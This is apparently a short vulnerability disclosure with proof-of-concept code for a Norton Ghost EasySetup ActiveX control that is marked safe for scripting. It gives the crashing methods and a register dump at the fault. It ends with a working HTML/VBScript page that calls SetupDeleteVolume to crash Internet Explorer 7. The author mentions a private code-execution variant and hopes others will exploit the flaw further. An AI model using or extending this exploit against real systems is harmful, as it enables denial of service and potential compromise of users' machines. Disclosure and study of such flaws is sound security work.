Norton Ghost Support Module Denial Of Service

`-----------------------------------------------------------------------------------------  
Norton Ghost Support module for EasySetup wizard Remote DoS/Arbitrary code execution(?)  
url: http://www.symantec.com/  
  
Author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://www.shinnai.net/  
  
File: EasySetupInt.dll  
Ver.: 14.0.4.30167  
ProgID: Symantec.EasySetup.1  
Descr.: CEasySetup Object - Support module for EasySetup wizard  
  
Marked as: RegKey Safe for Script: True  
RegKey Safe for Init: True  
Implements IObjectSafety: False  
KillBitSet: False  
  
Bug info: This component contains methods which lead into a denial of  
service.  
This is the list of components:  
  
"GetBackupLocationPath"  
"CallUninstall"  
"SetupDeleteVolume"  
"CanUseEasySetup"  
"CallAddInitialProtection"  
"CallTour"  
  
Crash happens here:  
  
03A6B9D6 8B10 MOV EDX,DWORD PTR DS:[EAX]  
  
And registers risuation is:  
  
EAX 00000000  
ECX 774F9997 ole32.774F9997  
EDX 019DCB04  
EBX 00000000  
ESP 019DCAE4  
EBP 019DCB9C  
ESI 019DCCB8  
EDI 00000001  
EIP 03A6B9D6 EasySetu.03A6B9D6  
  
Unfortunately the vulnerability seems to be unexploitable, anyway  
I've found a way to execute arbitrary code but it's useless   
because requires a high level of user interaction to work.  
That's why it will remain private.  
I hope that someone else will be able to exploit this vuln  
using more convenient ways.  
  
Peace   
  
This was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
  
Tested on Windows XP Professional SP3 with Internet Explorer 7  
-----------------------------------------------------------------------------------------  
<object classid='clsid:7972D5BE-2213-4B28-884C-F8F82432EAA5' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>  
  
<script language='vbscript'>  
Sub tryMe  
test.SetupDeleteVolume()  
End Sub  
</script>  
  
  
`